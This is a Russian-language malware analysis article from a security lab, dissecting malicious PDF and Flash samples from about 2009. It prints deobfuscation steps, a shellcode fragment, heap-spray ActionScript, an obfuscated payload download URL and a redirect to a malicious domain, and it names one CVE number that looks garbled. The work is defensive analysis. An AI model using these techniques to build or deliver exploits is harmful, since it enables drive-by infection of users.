Введение

В настоящий момент наибольшее количество заражений пользователей вредоносным кодом осуществляется через веб-технологии, причем за последний год количество таких атак увеличилось более чем в три раза[1] (см.линк в конце). Причина этого - обширное пространство для атаки, которое обеспечивается как большим количеством потенциальных «жертв» в Интернете, так и значительным разнообразием прикладных приложений и библиотек, используемых для отображения разных видов веб-контента: от классического - HTML и JavaScript, - до динамического и офисного - Flash, PDF, PPT (PowerPoint).

Среди всех технологий заражения через веб наибольшую угрозу на сегодняшний день представляют вредоносные ролики Adobe Flash и PDF-документы. В частности, вредоносные файлы в формате PDF к концу 2009 года составили 80% всех обнаруживаемых эксплойтов[2]. Как будет показано далее, функционирование троянских документов PDF обеспечивается не только эксплуатацией уязвимостей в Adobe Acrobat/Reader, но и эксплуатацией уязвимостей в Adobe Flash.

Пока что мы говорим только об уязвимостях в программном обеспечении Adobe, поскольку они преобладают в статистистических отчетах компаний, занимающихся безопасностью. В реальности проблема несколько шире: в первую очередь это проблема уязвимостей в популярных форматах данных, во вторую - проблема прозрачной интеграции веб-страниц с различными видами содержимого.

Сформулируем причины, по которым вектор массового заражения через эксплуатацию уязвимостей в обработчиках различных форматов данных представляет наибольшую опасность в настоящее время и обладает наибольшим потенциалом развития.

1. Массивный вектор атаки.

Уязвимости в технологиях обработки популярных форматов данных, интегрируемых с веб-технологиями, в массе своей кроссплатформенны, кроссбраузерны и кроссформатны.

Кроссплатформенность естественным образом следует из стремления производителей-монополистов (каким, к примеру, является Adobe по отношению к формату PDF) захватить максимум рынка. Приложение компилируется для разных операционных систем, но основано на одном и том же коде с одними и теми же ошибками. В качестве примера можно привести уязвимость CVE-2009-1862, вредоносный документ на основе которой будет рассмотрен в Примере 3: ей подвержены четыре операционные системы.

Кроссбраузерность уязвимостей в форматах данных обеспечивается тем, что обработка чуждого браузеру формата файла происходит во внешнем независимом приложении. При этом файл либо передаётся внешнему обработчику через плагин и отобрается в окне браузера, либо через вызовы операционной системы открываетсяв соответствующем приложении. Таким образом, если файл эксплуатирует уязвимость самого обработчика, то она сработает вне зависимости от производителя, версии и своевременности обновлений браузера.

Кроссформатность обеспечивается взаимной интеграцией технологий: Flash-ролик может быть встроен в документ PDF, код JavaScript может содержаться внутри PDF и Flash, и все три - Flash, PDF и JavaScript - могут вызываться из кода веб-страницы. Таким образом, одна и та же уязвимость может эксплуатироваться при помощи файлов разных типов.

2. По мере того, как интернет становится всё более полноценной рабочей средой, углубляется интеграция классических веб-технологий с медиа-контентом и офисными файлами. По этой же причине производители браузеров стремятся сделать работу с различными файлами более прозрачной (например, отображать PDF в окне веб-страницы вместо сохранения его на диск), что способствует автоматизации массовых заражений.

3. Значительный объём кода и динамичность развития библиотек для обработки форматов данных располагает к поиску и обнаружению все новых уязвимостей. К примеру, как показывает историческая ретроспектива по любой базе уязвимостей, тема уязвимостей в Adobe Flash неисчерпаема.

4. Успеху атак с использованием вредоносных офисных документах (таких как PDF и PPT) пока ещё способствует социальный фактор: пользователю психологически проще открыть незнакомых офисный документ, чем запустить Flash-ролик или исполняемый файл, необходимость осторожного отношения с которыми достаточно широко освещена.

5. Большинство браузеров настроены таким образом, чтобы автоматически запускать Flash-ролик и открывать PDF-документ. Таким образом, эксплуатация уязвимости и исполнение вредоносного кода происходит немедленно после перехода по вредоносной ссылке и загрузки соответствующего содержимого, без участия пользователя.

Задача настоящей статьи - предоставить системную информацию о механизмах функционирования такого рода атак, а также логический и инструментальный фундамент для их анализа.

Анализ вредоносных файлов

Пример 1. PDF + JavaScript

Рассмотрим вредоносный документ PDF (MD5: c251dcf3190701c46ee6a3f562df32e6), который наиболее распространён в настоящее время. Этот файл был впервые обнаружен в декабре 2009 г., сразу же попал в топ-20 вредоносных программ в Интернете[3] (Pdfka.asd - 12 место), и поднялся на две позиции топа в январе[4] (Pidief.cvl - 10 место), по-прежнему оставаясь единственным PDF-эксплойтом в пределах значимой статистики. (Примечание: экземпляры вредоносных файлов для этого и последующих примеров, а также файлы, полученные в процессе их анализа и обработки, доступны в приложенном к статье архиве).

Это файл размером около 10 Кб. Открыв его в текстовом редакторе, можно увидеть в самом начале файла типичную для PDF-документа сигнатуру: %PDF.

Структура PDF

Структура PDF-файла проста и читается невооружённым глазом. Начальные сведения, достаточные для изучения простых PDF-эксплойтов, можно почерпнуть в статье Д. Стивенса «Анатомия вредоносных PDF-документов» (на английском)[5]. Полностью формат PDF описан в стандарте ISO 32000-1 и в соответствующем ему справочном документе, доступном для загрузки на сайте Adobe[6].

Итак, рассмотрим структуру данного вредоносного файла.
http://s001.radikal.ru/i194/1002/06/47d346402b4d.jpg
Дамп структуры PDF, оптимизированный для анализа, можно получить при помощи утилиты pdf-parser. В данном случае пользоваться ею нет необходимости, поскольку файл небольшой, и вся структура PDF в нём видна как на ладони. Мы видим стандартных набор объектов: каталог (1), содержание (2), список страниц (3), описатель отдельной страницы (4), каталог комментариев (5), встроенный JavaScript (6) и два объекта типа stream (7 и 8). В stream-объектах внутри PDF хранятся различные вложенные данные, такие как картинки, скрипты и шрифты. Чаще всего эти данные упакованы при помощи алгоритма deflate (/FlateDecode).

При анализе потенциально вредоносных PDF-файлов необходимо в первую очередь обращать внимание на активное содержимое документа. В данном случае привлекает внимание встроенный скрипт JavaScript (6), данные которого хранятся в упакованном объекте (7). Упакованный скрипт занимает всего 160 байт и практически не заметен при просмотре структуры PDF-файла.

От PDF к скрипту

Распакуем упакованный объект при помощи утилиты pdf-parser:

Код:
>pdf-parser.py -o 7 -f 0-sample > 3-javascript-obj

В результате получается совсем маленький скрипт, который получает данные комментариев (или аннотаций, функция getAnnots) и после некоторой их обработки исполняет его как скрипт (функция eval).
http://i011.radikal.ru/1002/37/de8446aefd8f.png
Почему именно getAnnots? В первых же результатах поиска Google по этому названию функции всплывает уязвимость CVE-2009-1492, связанная с ошибкой обработки комментариев в Adobe Acrobat. Но, как видно из соответствующего эксплойта[7], эта уязвимость не имеет никакого отношения к данному случаю. Поле комментариев просто используется в качестве хранилища для массивной части скрипта, чтобы PDF-документ не вызывал подозрений с первого взгляда.

Данные комментариев, получаемые функцией getAnnots, хранятся в сжатом виде в stream-объекте (8), на который ссылается объект Annot (5).
http://s001.radikal.ru/i195/1002/b2/ac18a28726c7.jpg
Распаковав его аналогично предыдущему, получаем длинную строку вида z0dz0az0dz0az09:. Для преобразования этой строки в читаемый скрипт над ней необходимо произвести соответствующие манипуляции:
http://s001.radikal.ru/i196/1002/f4/18dbeb5ce3a7.png
Как видно из кода, в полученной из хранилища аннотаций строке все символы 'z' заменяются на '%' - разделительный символ между байтами в шестнадцатеричном представлении, последовательность которых функция unescape преобразует в бинарный вид (в данном случае - в последовательность символов ASCII). Для декодирования unescape пригодятся онлайн-скрипт Decode Unescape или любая программа дла преобразования HEX-ASCII.

После декодирования строки получаем достаточно большой и намеренно запутанный (обфусцированный) скрипт (см. файл 7-script2 в приложении).

Запутанный JavaScript

Как анализировать намеренно запутанные скрипты? Во-первых, то, что заставляет скрипт выглядеть устрашающе - это просто псевдослучайные (вида v_8yD7D8CG__C) имена функций и переменных. Для повышения читаемости скрипта эти идентификаторы достаточно заменить на что-то более осмысленное.

Во-вторых, нужно вычленить функциональную часть скрипта: функцию или последовательность функций, которые совершают основную работу. В данном случае, просмотрев скрипт по именам функций и управляющим директивам JavaScript (которые, в отличие от идентификаторов переменных, не поддаются запутыванию), находим ядро: функцию eval. Она вызывает следующую зашифрованную часть скрипта.
http://s43.radikal.ru/i099/1002/06/ad91f77987d0.png
Анализировать процедуру дешифрования не требуется - вместо этого можно заставить скрипт расшифровать самого себя. Для этого скрипт исполняется в соответствующей среде (например, в браузере с поддержкой JavaScript), причем функция eval внутри него должна быть заменена функкцией document.write, что приведёт к печати расшифрованного скрипта в окно браузера вместо его исполнения.

В данном случае описанный приём не сработает из-за защиты от отладки (см. файл 8-script2-fail!.html). Во-первых, скрипт использует собственный код (arguments.callee[8]) в алгоритме дешифрования - таким образом, при замене eval на document.write алгоритм отрабатывает некорректно.
http://s001.radikal.ru/i194/1002/f5/3c165d09a252.png
Во-вторых, осуществляется проверка переменной app, которая инициализирована в JavaScript-среде приложения (в данном случае - Adobe Acrobat), и не инициализирована в среде браузера или иного интерпретатора JavaScript.
http://s61.radikal.ru/i172/1002/3b/6405a9edc4ce.png
Подытожим алгоритм авторасшифровки скрипта вопреки всем этим нюансам.

1. Вместо переменной arguments.callee должен быть подставлен оригинальный код скрипта, завёрнутый в функцию unescape.

2. Проверка переменной app нужно обойти любым удобным способом (например, добавив в скрипт команду var app = true).

3. Все вхождения функции eval() должны быть заменены на document.write().

4. Из аргумента к функции document.write() должны быть отфильтрованы угловые скобки, которые в противном случае будут поглощены HTML-интерпретатором браузера вместе с частью вывода.

Код:
function debrack(s) {
s=s.replace(/&rt;/g, ">");
s=s.replace(/>/g, "<");
return(s);
}

От скрипта к бинарному коду

В результате исполнения модифицированного таким образом скрипта (см. файл 9-script2-ok.html) в браузере получаем очередную порцию кода (см. файл a-script3). Она запутана аналогично предыдущей, и является последней, центральной частью скрипта, так как не содержит в себе вызовов функции eval.

Быстрый просмотр скрипта выявляет его функциональное ядро:

1. Неоднократный вызов функции unescape с длинными аргументами вида: "%u9090%u9090%u9090%u21eb%ub859:..".

В строках-аргументах к функции unescape усматривается shell-код, так как закодированы преимущественно байты, выходящие за пределы диапазона печатных символов [21h.. 7Eh]. К тому же, первая строка начинается с нескольких байт 90h, который соответствует команде процессора NOP.

2. this.collabStore = Collab.collectEmailInfo({subj: "", msg: D_3_0824mk});

Вызов этой нестандартной для JavaScript функции сразу же привлекает внимание, а поиск в Интернете по соответствующим ключевым словам наводит на описание уязвимости CVE-2009-5659[9] (равно как и на рекламу коммерческих связок эксплойтов).

Исследование shell-кода и самой уязвимости выходят за рамки этой статьи. Отметим лишь, что в бинарном коде полезной нагрузки (d-shellcode.exe-payload) просматривается невооружённым взглядом ссылка на вредоносный модуль, который будет загружен и выполнен в результате эксплуатации уязвимости.

thpt/:a/gfitbhtaewc.mon/etT/ERTS.3ype/2H85b9b9Vd10000f0700R6575c0ff101T2dbf77dd902l14090 3K431102

Исследование можно продолжить, использовав части этой ссылки для поиска по базе вредоносных ссылок malc0de.net, по логам общедоступных песочниц и т. п.

Пример 2. SWF

В отличие от документов в формате PDF, структура которых легко читается невооружённым взглядом, ролики Adobe Flash более сложны для анализа. Поэтому для начала рассмотрим тривиальный экземпляр вредоносного объекта типа Flash: Trojan-Downloader.SWF.Small.fj (MD5: f8e4e4206586f566c5dddc74884e57df).

Это файл размером 232 байта. В начале файла - сигнатура CWS, соответствующая формату Flash с компрессией[10]. Для его распаковки можно воспользоваться, к примеру, утилитой cws2fws. Сигнатура формата Flash без компрессии, готового к анализу - FWS.

Формат Flash - бинарный. Он описывает, помимо метаинформации и статичного медиа-контента, скомпилированную программу на скриптовом языке ActionScript, которая обеспечивает всю динамическую и интерактивную функциональность Flash: от управления визуальными формами до открытия веб-страниц. Для анализа структуры файла можно воспользоваться пакетом утилит SWFTools.

С точки зрения потенциально вредоносного содержимого Flash-объекта, наибольший интерес представляет именно программа на языке ActionScript. Для декомпиляции ActionScript можно воспользоваться утилитой SWFScan, для получения дампа мнемоник байт-кода - утилитой swfdump из пакета SWFTools.

Декомпилированный ActionScript данного файла выглядит так:
http://s005.radikal.ru/i211/1002/6b/f6296efd16b5.png

Как видно из скрипта, Flash-объект передаёт в командную строку браузера небольшой скрипт (this.getURL). Расшифровав скрипт, получаем строку:
window.location = "//pizdachesabuserov.xorg.pl/go/'+document.location.search+'";

Таким образом, данный Flash-ролик производит перенаправление браузера на другой домен с передачей последнему аргументов к текущему веб-адресу (то есть, части строки URL после вопросительного знака). Это элемент сценария массового заражения веб-пользователей с использованием технологии «отравления» поисковых систем (SEO Poisoning)[11].

Пример 3. PDF + SWF

Теперь, понимая принципы анализа как PDF-, так и SWF-файлов, рассмотрим более сложный случай: Exploit.SWF.Agent.br (MD5: 09a0f7aae0e22b5d80c7950890f3f738). Это относительно старый эксплойт, обнаруженный ещё в июле 2009, но изрядно нашумевший из-за интересных особенностей строения вредоносного файла[12].

Это документ PDF размером около мегабайта. Быстрый просмотр структуры файла выявляет большое количество PDF-объектов вперемешку с массивными блоками бинарных данных, поэтому для анализа структуры файла целесообразно воспользоваться утилитой pdf-parser.

Структура PDF

При анализе структуры файла (pdf-parser.py 0-sample > 1-pdfparse) ничто не бросается в глаза. Скрипты отсутствуют, зато есть несколько объектов типов ObjStm и XObject, неясного назначения.

Проанализируем PDF более внимательно, включив в дамп структуры файла вывод распакованных бинарных данных (pdf-parser.py -f 0-sample > 2-streamfilter). Задача при этом - проверить, не скрывается ли что-нибудь подозрительное в массивах сжатых данных.

Быстрый визуальный просмотр наиболее крупных блоков распакованных данных выявляет несколько картинок (/Subtype /Image - объекты 29, 31, 5), блок метаданных (/Type /Metadata - объект 6) и два подозрительных блока вложенной разметки PDF (объекты 33 и 7). При более внимательном изучении одного из этих блоков (33) обнаруживаются ссылки на два вложенных SWF-файла:

Код:
<</EF<</F 2 0 R>>/F(fancyBall.swf)/Type/Filespec/UF(fancyBall.swf)>>
<</EF<</F 3 0 R>>/F(oneoff.swf)/Type/Filespec/UF(oneoff.swf)>>

Возможность встраивать Flash-объекты в PDF-документы появилась в Adobe Reader начиная с версии 9 и описана в приложении к ISO 32000[13].

Во втором PDF-объекте (7) обнаруживается ссылка на вложенное изображение:

Код:
<</F 4 0 R>>/F(love_wallpaper_butterfly-dsc08951.jpg)

Сохраним соответствующие объекты (2, 3 и 4) для последующего анализа (pdf-parser.py -o 2 -d 0-sample > 3- fancyball.swf и т.п.).

Анализ вложенных Flash-объектов

В результате декомпиляции программы fancyball.swf получается невинный скрипт, скопированный из примеров к Flash Professional 9 ActionScript 3.0 Preview[14] (файл 3.1-actionscript-decompile):

Код:
public function Ball()
{
    trace("ball created: " + this.name);
    this.buttonMode = true;
    this.addEventListener(MouseEvent.CLICK, this.clickHandler);
    this.addEventListener(MouseEvent.MOUSE_DOWN, this.mouseDownListener);
    this.addEventListener(MouseEvent.MOUSE_UP, this.mouseUpListener);
    return;
}

Однако дамп байт-кода того же скрипта (swfdump -D 3.0-fancyball.swf > 3.2-actionscript-dump) показывает, что функция инициализации скрипта переписана небольшим кодом неясного назначения:

Код:
initmethod * init=()(0 params, 0 optional)
[stack:2 locals:1 scope:1-9 flags:]
{
    00000) + 0:0 pushshort 2049 
    00001) + 1:0 pushshort 12536
    00002) + 2:0 multiply
    00003) + 1:0 pushscope
    00004) + 0:1 getlex <q>[public]::void
    00005) + 1:1 nop
    00006) + 1:1 nop
:
    00033) + 1:1 returnvoid
}
Код:

Всё, что делает приведенный код - перемножает два числа на стеке (причем, в результате умножения получается адрес в пределах кучи), после чего обращается неуказанному объекту (см. справочник инструкций для виртуальной машины ActionScript[15]). В результате интерпретации этих инструкций управление передается в область кучи (CVE-2009-1862).

А что находится в куче?

Рассмотрим декомпилированный скрипт второго Flash-объекта - oneoff.swf (файл 4.1-actionscript-decompile).

1. Присвоение двух локальных переменных.

internal function frame1()

Код:
{
    this.b = "";
    this.a = ""

Как видно из дампа байт-кода, это два числа: 0x0c0c0c0c и 0x13131313.

Код:
00002) + 0:1 findproperty <q>[public]::b
00003) + 1:1 pushstring "\0c\0c\0c\0c"
00004) + 2:1 initproperty <q>[public]::b
00005) + 0:1 findproperty <q>[public]::a
00006) + 1:1 pushstring "\13\13\13\13"
00007) + 2:1 initproperty <q>[public]::a

2. Создание последовательности из байта 0x13 длиной 1 Мб (1048576=1024^2)

Код:
while(this.b.length < -1048576)
{
    this.b = this.b + this.a;
}

3. Динамическое создание массива в куче.

Код:
this.byteArr = new ByteArray();

4. Заполнение этого массива ранее сгенерированной последовательностью 64 раза.

Код:
this.byteArr = new ByteArray();
while(this.byteArr.length < -1048576 * 64)
{
     byteArr.writeMultiByte(this.b, "iso-8859-1");
}

5. Динамическая генерация shell-кода в конце того же массива.

Код:
... 
byteArr.writeByte(144);
byteArr.writeByte(144);
byteArr.writeByte(129);
byteArr.writeByte(236);
byteArr.writeByte(32);
byteArr.writeByte(1);
...

Таким образом, в результате выполнения программы этого Flash-объекта динамическая память соответствующего процесса будет заполнена массивом из 64 мегабайт нейтральных инструкций (байт-коду 0х13 соответствует инструкция adc edx,[ebx]), в самом конце которого расположен shell-код. Это heap spray - техника, обеспечивающая надёжное исполнение shell-кода без его привязки к конкретному адресу в памяти процесса, на который должно перейти исполнение в результате эксплуатации уязвимости.

Shell-код, детали которого мы рассматривать не будем, расшифровывает и запускает вредоносные модули, содержащиеся в файле картинки love_wallpaper_butterfly-dsc08951.jpg. Эти модули можно расшифровать и выделить из файла вручную, обратив внимание на длинные последовательности из одного байта (0xA0, 0x37) в коде файла и предположив, что они соответствуют результату потокового XOR-шифрования последовательности нулей, характерной для заголовка исполняемого модуля (см. файлы 7-malware1.ex, 9.0-malware2)
http://s50.radikal.ru/i129/1002/73/ee8dc177451f.png
Кроме исполняемых модулей, в той же «картинке» обнаруживается ещё один вложенный PDF-файл (8.0-emdedded.pdf).

Выводы

Подытоживая анализ примеров, ещё раз подчеркнём несколько важных моментов.

1. Обе уязвимости, эксплуатируемые рассмотренными вредоносными файлами, являются кроссплатформенными.

2. Уязвимость, упомянутая в последнем примере (CVE-2009-1862), помимо этого, еще и кроссформатная: объекты Adobe Flash могут исполняться в качестве самостоятельных модулей, могут быть встроены в веб-страницу или в PDF-документ.

3. Таким образом, пространство для атаки при помощи эксплойта из последнего примера обширно: атака может осуществляться по нескольким векторам (Flash на веб-странице, PDF-документ) на четырёх операционных системах (Windows, Macintosh, Linux и Solaris[16]). Это в большей или меньшей степени касается любых Flash-уязвимостей.

4. От примерной даты обнаружения уязвимости (1 июня 2009 - дата принятия уязвимости по базе CVE) до момента выпуска патча компанией Adobe (30 июля 2009 года - дата соответствующего бюллетеня[17]) прошло 2 месяца.

Приложение к статье: nb2-flash-attachment.rar (пароль к архиву высылается по запросу alisa@esagelab.ru).

Список ссылок

1. Лаборатория Касперского. Kaspersky Security Bulletin 2009. Основная статистика за 2009 год.
2. ScanSafe. Annual Global Threat Report 2009.
3. Лаборатория Касперского. Рейтинг вредоносных программ, декабрь 2009.
4. Лаборатория Касперского. Рейтинг вредоносных программ, январь 2010.
5. D. Stevens. Anatomy of Malicious PDF Documents
6. Adobe. Portable Document Format - Part 1: PDF 1.7, First Edition
7. Milw0rm. Эксплойт для CVE 2009-1492
8. Bojan Zdrnja. Browser *does* matter, not only for vulnerabilities - a story on JavaScript deobfuscation.
9. SecurityFocus. Эксплойт для CVE-5659
10. Adobe. SWF File Format Specification Version 10
11. Tiger Woods SEO poisoning attack
12. Лаборатория Касперского. SWF или PDF? Все одно - Adobe!
13. Adobe. Acrobat Supplement to the ISO 32000
14. Jen deHaan. Exploring the Flash Professional 9 ActionScript 3.0 Preview
15. Adobe. ActionScript Virtual Machine 2 Overview
16. Adobe. Security advisory for Adobe Reader, Acrobat and Flash Player
17. Adobe. Security updates available for Adobe Flash Player, Adobe Reader and Acrobat.

Автор - Алиса Шевченко
Руководитель лаборатории безопасности eSage Lab